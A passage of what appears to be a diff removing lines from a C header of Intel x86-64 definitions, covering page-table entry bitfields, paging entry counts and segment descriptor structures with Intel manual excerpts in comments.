0x8000000000000000 -#define PTE_64_EXECUTE_DISABLE_MASK 0x01 -#define PTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pte_64; - -/** - * @brief Format of a common Page-Table Entry - */ -typedef union -{ - struct - { - uint64_t present : 1; -#define PT_ENTRY_64_PRESENT_BIT 0 -#define PT_ENTRY_64_PRESENT_FLAG 0x01 -#define PT_ENTRY_64_PRESENT_MASK 0x01 -#define PT_ENTRY_64_PRESENT(_) (((_) >> 0) & 0x01) - uint64_t write : 1; -#define PT_ENTRY_64_WRITE_BIT 1 -#define PT_ENTRY_64_WRITE_FLAG 0x02 -#define PT_ENTRY_64_WRITE_MASK 0x01 -#define PT_ENTRY_64_WRITE(_) (((_) >> 1) & 0x01) - uint64_t supervisor : 1; -#define PT_ENTRY_64_SUPERVISOR_BIT 2 -#define PT_ENTRY_64_SUPERVISOR_FLAG 0x04 -#define PT_ENTRY_64_SUPERVISOR_MASK 0x01 -#define PT_ENTRY_64_SUPERVISOR(_) (((_) >> 2) & 0x01) - uint64_t page_level_write_through : 1; -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - uint64_t page_level_cache_disable : 1; -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint64_t accessed : 1; -#define PT_ENTRY_64_ACCESSED_BIT 5 -#define PT_ENTRY_64_ACCESSED_FLAG 0x20 -#define PT_ENTRY_64_ACCESSED_MASK 0x01 -#define PT_ENTRY_64_ACCESSED(_) (((_) >> 5) & 0x01) - uint64_t dirty : 1; -#define PT_ENTRY_64_DIRTY_BIT 6 -#define PT_ENTRY_64_DIRTY_FLAG 0x40 -#define PT_ENTRY_64_DIRTY_MASK 0x01 -#define PT_ENTRY_64_DIRTY(_) (((_) >> 6) & 0x01) - uint64_t large_page : 1; -#define PT_ENTRY_64_LARGE_PAGE_BIT 7 -#define PT_ENTRY_64_LARGE_PAGE_FLAG 0x80 -#define PT_ENTRY_64_LARGE_PAGE_MASK 0x01 -#define PT_ENTRY_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint64_t global : 1; -#define PT_ENTRY_64_GLOBAL_BIT 8 -#define PT_ENTRY_64_GLOBAL_FLAG 0x100 -#define PT_ENTRY_64_GLOBAL_MASK 0x01 -#define PT_ENTRY_64_GLOBAL(_) (((_) >> 8) & 0x01) - - /** - * [Bits 11:9] Ignored. - */ - uint64_t ignored_1 : 3; -#define PT_ENTRY_64_IGNORED_1_BIT 9 -#define PT_ENTRY_64_IGNORED_1_FLAG 0xE00 -#define PT_ENTRY_64_IGNORED_1_MASK 0x07 -#define PT_ENTRY_64_IGNORED_1(_) (((_) >> 9) & 0x07) - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_BIT 12 -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define PT_ENTRY_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define PT_ENTRY_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved1 : 4; - - /** - * [Bits 58:52] Ignored. - */ - uint64_t ignored_2 : 7; -#define PT_ENTRY_64_IGNORED_2_BIT 52 -#define PT_ENTRY_64_IGNORED_2_FLAG 0x7F0000000000000 -#define PT_ENTRY_64_IGNORED_2_MASK 0x7F -#define PT_ENTRY_64_IGNORED_2(_) (((_) >> 52) & 0x7F) - uint64_t protection_key : 4; -#define PT_ENTRY_64_PROTECTION_KEY_BIT 59 -#define PT_ENTRY_64_PROTECTION_KEY_FLAG 0x7800000000000000 -#define PT_ENTRY_64_PROTECTION_KEY_MASK 0x0F -#define PT_ENTRY_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) - uint64_t execute_disable : 1; -#define PT_ENTRY_64_EXECUTE_DISABLE_BIT 63 -#define PT_ENTRY_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 -#define PT_ENTRY_64_EXECUTE_DISABLE_MASK 0x01 -#define PT_ENTRY_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} pt_entry_64; - -/** - * @defgroup paging_structures_entry_count_64 \ - * Paging structures entry counts - * - * Paging structures entry counts. - * @{ - */ -#define PML4E_ENTRY_COUNT_64 0x00000200 -#define PDPTE_ENTRY_COUNT_64 0x00000200 -#define PDE_ENTRY_COUNT_64 0x00000200 -#define PTE_ENTRY_COUNT_64 0x00000200 - /** - * @} - */ - - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup segment_descriptors \ - * Segment descriptors - * @{ - */ - /** - * @brief Pseudo-Descriptor Format (32-bit) - * - * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) - */ -#pragma pack(push, 1) -typedef struct -{ - /** - * Limit. - */ - uint16_t limit; - - /** - * Base Address. - */ - uint32_t base_address; -} segment_descriptor_register_32; -#pragma pack(pop) - -/** - * @brief Pseudo-Descriptor Format (64-bit) - * - * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) - */ -#pragma pack(push, 1) -typedef struct -{ - /** - * Limit. - */ - uint16_t limit; - - /** - * Base Address. - */ - uint64_t base_address; -} segment_descriptor_register_64; -#pragma pack(pop) - -/** - * @brief Segment access rights - * - * @see Vol2A[3.2(Instructions (A-L) | LAR-Load Access Rights Byte)] (reference) - */ -typedef union -{ - struct - { - uint32_t reserved1 : 8; - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT_ACCESS_RIGHTS_TYPE_BIT 8 -#define SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0xF00 -#define SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F -#define SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 15 -#define SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x8000 -#define SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 4; - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT_ACCESS_RIGHTS_SYSTEM_BIT 20 -#define SEGMENT_ACCESS_RIGHTS_SYSTEM_FLAG 0x100000 -#define SEGMENT_ACCESS_RIGHTS_SYSTEM_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 21 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x200000 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 22 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 23 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x800000 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 -#define SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 23) & 0x01) - uint32_t reserved3 : 8; - }; - - uint32_t flags; -} segment_access_rights; - -/** - * @brief General Segment Descriptor (32-bit) - * - * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a - * segment, as well as access control and status information. Segment descriptors are typically created by compilers, - * linkers, loaders, or the operating system or executive, but not application programs. - * - * @see Vol3A[5.2(FIELDS AND FLAGS USED FOR SEGMENT-LEVEL AND PAGE-LEVEL PROTECTION)] - * @see Vol3A[5.2.1(Code-Segment Descriptor in 64-bit Mode)] - * @see Vol3A[5.8.3(Call Gates)] - * @see Vol3A[6.11(IDT DESCRIPTORS)] - * @see Vol3A[6.14.1(64-Bit Mode IDT)] - * @see Vol3A[7.2.2(TSS Descriptor)] - * @see Vol3A[7.2.3(TSS Descriptor in 64-bit mode)] - * @see Vol3A[7.2.5(Task-Gate Descriptor)] - * @see Vol3A[3.4.5(Segment Descriptors)] (reference) - */ -typedef struct -{ - /** - * @brief Segment limit field (15:00) - * - * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The - * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: - * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. - * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. - * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an - * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. - * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or - * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; - * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. - * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. - * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the - * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism - * convenient for expandable stacks. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint16_t segment_limit_low; - - /** - * @brief Base address field (15:00) - * - * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the - * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. - * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and - * data on 16-byte boundaries. - */ - uint16_t base_address_low; - /** - * @brief Segment descriptor fields - */ - union - { - struct - { - /** - * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. - */ - uint32_t base_address_middle : 8; -#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 -#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT__TYPE_BIT 8 -#define SEGMENT__TYPE_FLAG 0xF00 -#define SEGMENT__TYPE_MASK 0x0F -#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT__PRESENT_BIT 15 -#define SEGMENT__PRESENT_FLAG 0x8000 -#define SEGMENT__PRESENT_MASK 0x01 -#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) - - /** - * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. - */ - uint32_t segment_limit_high : 4; -#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 -#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 -#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F -#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT__SYSTEM_BIT 20 -#define SEGMENT__SYSTEM_FLAG 0x100000 -#define SEGMENT__SYSTEM_MASK 0x01 -#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT__LONG_MODE_BIT 21 -#define SEGMENT__LONG_MODE_FLAG 0x200000 -#define SEGMENT__LONG_MODE_MASK 0x01 -#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT__DEFAULT_BIG_BIT 22 -#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT__DEFAULT_BIG_MASK 0x01 -#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT__GRANULARITY_BIT 23 -#define SEGMENT__GRANULARITY_FLAG 0x800000 -#define SEGMENT__GRANULARITY_MASK 0x01 -#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. - */ - uint32_t base_address_high : 8; -#define SEGMENT__BASE_ADDRESS_HIGH_BIT 24 -#define SEGMENT__BASE_ADDRESS_HIGH_FLAG 0xFF000000 -#define SEGMENT__BASE_ADDRESS_HIGH_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_HIGH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - }; - -} segment_descriptor_32; - -/** - * @brief General Segment Descriptor (64-bit) - * - * A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a - * segment, as well as access control and status information. Segment descriptors are typically created by compilers, - * linkers, loaders, or the operating system or executive, but not application programs. - * - * @see Vol3A[3.4.5(Segment Descriptors)] (reference) - */ -typedef struct -{ - /** - * @brief Segment limit field (15:00) - * - * Specifies the size of the segment. The processor puts together the two segment limit fields to form a 20-bit value. The - * processor interprets the segment limit in one of two ways, depending on the setting of the G (granularity) flag: - * - If the granularity flag is clear, the segment size can range from 1 byte to 1 MByte, in byte increments. - * - If the granularity flag is set, the segment size can range from 4 KBytes to 4 GBytes, in 4-KByte increments. - * The processor uses the segment limit in two different ways, depending on whether the segment is an expand-up or an - * expand-down segment. For expand-up segments, the offset in a logical address can range from 0 to the segment limit. - * Offsets greater than the segment limit generate general-protection exceptions (\#GP, for all segments other than SS) or - * stack-fault exceptions (\#SS for the SS segment). For expand-down segments, the segment limit has the reverse function; - * the offset can range from the segment limit plus 1 to FFFFFFFFH or FFFFH, depending on the setting of the B flag. - * Offsets less than or equal to the segment limit generate general-protection exceptions or stack-fault exceptions. - * Decreasing the value in the segment limit field for an expanddown segment allocates new memory at the bottom of the - * segment's address space, rather than at the top. IA-32 architecture stacks always grow downwards, making this mechanism - * convenient for expandable stacks. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint16_t segment_limit_low; - - /** - * @brief Base address field (15:00) - * - * Defines the location of byte 0 of the segment within the 4-GByte linear address space. The processor puts together the - * three base address fields to form a single 32-bit value. Segment base addresses should be aligned to 16-byte boundaries. - * Although 16-byte alignment is not required, this alignment allows programs to maximize performance by aligning code and - * data on 16-byte boundaries. - */ - uint16_t base_address_low; - /** - * @brief Segment descriptor fields - */ - union - { - struct - { - /** - * [Bits 7:0] Base address field (23:16); see description of $BASE_LOW for more details. - */ - uint32_t base_address_middle : 8; -#define SEGMENT__BASE_ADDRESS_MIDDLE_BIT 0 -#define SEGMENT__BASE_ADDRESS_MIDDLE_FLAG 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE_MASK 0xFF -#define SEGMENT__BASE_ADDRESS_MIDDLE(_) (((_) >> 0) & 0xFF) - - /** - * @brief Type field - * - * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the - * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an - * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, - * data, and system descriptors. - * - * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] - */ - uint32_t type : 4; -#define SEGMENT__TYPE_BIT 8 -#define SEGMENT__TYPE_FLAG 0xF00 -#define SEGMENT__TYPE_MASK 0x0F -#define SEGMENT__TYPE(_) (((_) >> 8) & 0x0F) - - /** - * @brief S (descriptor type) flag - * - * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S - * flag is set). - */ - uint32_t descriptor_type : 1; -#define SEGMENT__DESCRIPTOR_TYPE_BIT 12 -#define SEGMENT__DESCRIPTOR_TYPE_FLAG 0x1000 -#define SEGMENT__DESCRIPTOR_TYPE_MASK 0x01 -#define SEGMENT__DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) - - /** - * @brief DPL (descriptor privilege level) field - * - * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the - * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a - * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. - */ - uint32_t descriptor_privilege_level : 2; -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 -#define SEGMENT__DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) - - /** - * @brief P (segment-present) flag - * - * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the - * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor - * is loaded into a segment register. Memory management software can use this flag to control which segments are actually - * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. - */ - uint32_t present : 1; -#define SEGMENT__PRESENT_BIT 15 -#define SEGMENT__PRESENT_FLAG 0x8000 -#define SEGMENT__PRESENT_MASK 0x01 -#define SEGMENT__PRESENT(_) (((_) >> 15) & 0x01) - - /** - * [Bits 19:16] Segment limit field (19:16); see description of $LIMIT_LOW for more details. - */ - uint32_t segment_limit_high : 4; -#define SEGMENT__SEGMENT_LIMIT_HIGH_BIT 16 -#define SEGMENT__SEGMENT_LIMIT_HIGH_FLAG 0xF0000 -#define SEGMENT__SEGMENT_LIMIT_HIGH_MASK 0x0F -#define SEGMENT__SEGMENT_LIMIT_HIGH(_) (((_) >> 16) & 0x0F) - - /** - * @brief Available bit - * - * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. - */ - uint32_t system : 1; -#define SEGMENT__SYSTEM_BIT 20 -#define SEGMENT__SYSTEM_FLAG 0x100000 -#define SEGMENT__SYSTEM_MASK 0x01 -#define SEGMENT__SYSTEM(_) (((_) >> 20) & 0x01) - - /** - * @brief L (64-bit code segment) flag - * - * [Bit 21] In IA-32e mode, bit 21 of the second doubleword of the segment descriptor indicates whether a code segment - * contains native 64-bit code. A value of 1 indicates instructions in this code segment are executed in 64-bit mode. A - * value of 0 indicates the instructions in this code segment are executed in compatibility mode. If L-bit is set, then - * D-bit must be cleared. When not in IA-32e mode or for non-code segments, bit 21 is reserved and should always be set to - * 0. - */ - uint32_t long_mode : 1; -#define SEGMENT__LONG_MODE_BIT 21 -#define SEGMENT__LONG_MODE_FLAG 0x200000 -#define SEGMENT__LONG_MODE_MASK 0x01 -#define SEGMENT__LONG_MODE(_) (((_) >> 21) & 0x01) - - /** - * @brief D/B (default operation size/default stack pointer size and/or upper bound) flag - * - * [Bit 22] Performs different functions depending on whether the segment descriptor is an executable code segment, an - * expand-down data segment, or a stack segment. (This flag should always be set to 1 for 32-bit code and data segments and - * to 0 for 16-bit code and data segments.) - * - Executable code segment. The flag is called the D flag and it indicates the default length for effective addresses and - * operands referenced by instructions in the segment. If the flag is set, 32-bit addresses and 32-bit or 8-bit operands - * are assumed; if it is clear, 16-bit addresses and 16-bit or 8-bit operands are assumed. The instruction prefix 66H can - * be used to select an operand size other than the default, and the prefix 67H can be used select an address size other - * than the default. - * - Stack segment (data segment pointed to by the SS register). The flag is called the B (big) flag and it specifies the - * size of the stack pointer used for implicit stack operations (such as pushes, pops, and calls). If the flag is set, a - * 32-bit stack pointer is used, which is stored in the 32-bit ESP register; if the flag is clear, a 16-bit stack pointer - * is used, which is stored in the 16- bit SP register. If the stack segment is set up to be an expand-down data segment - * (described in the next paragraph), the B flag also specifies the upper bound of the stack segment. - * - Expand-down data segment. The flag is called the B flag and it specifies the upper bound of the segment. If the flag - * is set, the upper bound is FFFFFFFFH (4 GBytes); if the flag is clear, the upper bound is FFFFH (64 KBytes). - */ - uint32_t default_big : 1; -#define SEGMENT__DEFAULT_BIG_BIT 22 -#define SEGMENT__DEFAULT_BIG_FLAG 0x400000 -#define SEGMENT__DEFAULT_BIG_MASK 0x01 -#define SEGMENT__DEFAULT_BIG(_) (((_) >> 22) & 0x01) - - /** - * @brief G (granularity) flag - * - * [Bit 23] Determines the scaling of the segment limit field. When the granularity flag is clear, the segment limit is - * interpreted in byte units; when flag is set, the segment limit is interpreted in 4-KByte units. (This flag does not - * affect the granularity of the base address; it is always byte granular.) When the granularity flag is set, the twelve - * least significant bits of an offset are not tested when checking the offset against the segment limit. For example, when - * the granularity flag is set, a limit of 0 results in valid offsets from 0 to 4095. - */ - uint32_t granularity : 1; -#define SEGMENT__GRANULARITY_BIT 23 -#define SEGMENT__GRANULARITY_FLAG 0x800000 -#define SEGMENT__GRANULARITY_MASK 0x01 -#define SEGMENT__GRANULARITY(_) (((_) >> 23) & 0x01) - - /** - * [Bits 31:24] Base address field (31:24); see description of $BASE_LOW for more details. - 